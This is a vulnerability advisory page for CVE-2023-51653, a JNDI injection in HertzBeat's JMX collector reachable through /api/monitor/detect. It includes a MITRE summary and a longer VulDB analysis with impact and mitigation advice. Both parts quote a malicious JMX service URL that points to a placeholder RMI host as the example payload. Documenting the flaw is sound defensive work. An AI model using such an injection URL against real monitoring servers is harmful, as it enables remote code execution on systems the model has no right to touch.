CVE-2023-51653 in Hertzbeat
Summary
by MITRE • 02/22/2024
Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Analysis
by VulDB Data Team • 01/17/2025
The vulnerability identified as CVE-2023-51653 affects HertzBeat, a real-time monitoring system designed to collect and analyze system metrics across various infrastructure components. This security flaw exists within the JMX (Java Management Extensions) collection implementation, specifically in the JmxCollectImpl.java file where the system establishes connections to remote JMX endpoints. The vulnerability represents a critical security weakness that allows attackers to exploit JNDI (Java Naming and Directory Interface) injection mechanisms during the connection process. The affected interface /api/monitor/detect serves as the primary attack vector, where user-provided URL parameters are processed without adequate validation or sanitization.
The technical implementation flaw stems from the direct use of JMXConnectorFactory.connect without proper input validation, enabling maliciously crafted JNDI URLs to be executed within the monitoring system's context. When a URL parameter contains a JNDI lookup string such as service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari, the system attempts to resolve the JNDI reference, which can be manipulated to load and execute arbitrary Java classes from remote servers. This particular exploitation technique leverages the RMI (Remote Method Invocation) protocol combined with JNDI lookup capabilities to achieve remote code execution. The vulnerability is classified as a JNDI injection issue that aligns with CWE-917, which specifically addresses the weakness of using insecure JNDI lookups in applications. This type of vulnerability is particularly dangerous in monitoring systems since they typically operate with elevated privileges and have access to critical system resources.
The operational impact of this vulnerability is severe and far-reaching for organizations using affected versions of HertzBeat. Attackers can leverage this weakness to execute arbitrary code on systems running the monitoring software, potentially gaining full control over the monitored infrastructure. The remote code execution capability allows adversaries to establish persistent backdoors, exfiltrate sensitive data, or deploy additional malware within the network environment. Given that monitoring systems often serve as central points of visibility for enterprise infrastructure, this vulnerability could enable attackers to move laterally across the network, compromise additional systems, and maintain long-term access to critical assets. The attack requires minimal privileges to exploit and can be executed remotely without user interaction, making it particularly dangerous for organizations that rely on HertzBeat for system monitoring and alerting.
Mitigation strategies for CVE-2023-51653 should prioritize immediate remediation through the deployment of version 1.4.1, which contains the necessary security patches. Organizations should implement strict input validation and sanitization for all URL parameters processed by the monitoring system, particularly those related to JMX connections. Network segmentation and firewall rules should be configured to restrict outbound connections from monitoring systems to external JNDI lookup servers, effectively preventing the exploitation of this vulnerability. Additionally, implementing proper access controls and privilege separation within the monitoring environment can limit the potential impact of successful exploitation. Security teams should also conduct comprehensive audits of all monitoring configurations to ensure no other vulnerable components exist within the infrastructure. This vulnerability demonstrates the importance of following secure coding practices and implementing defense-in-depth strategies, particularly in systems that handle sensitive operational data and maintain privileged access to enterprise resources. The ATT&CK framework categorizes this vulnerability under T1059.007 for command and scripting interpreter, specifically remote code execution through JNDI injection, highlighting the need for comprehensive security measures to prevent such exploitation techniques from being successfully executed against monitoring infrastructure.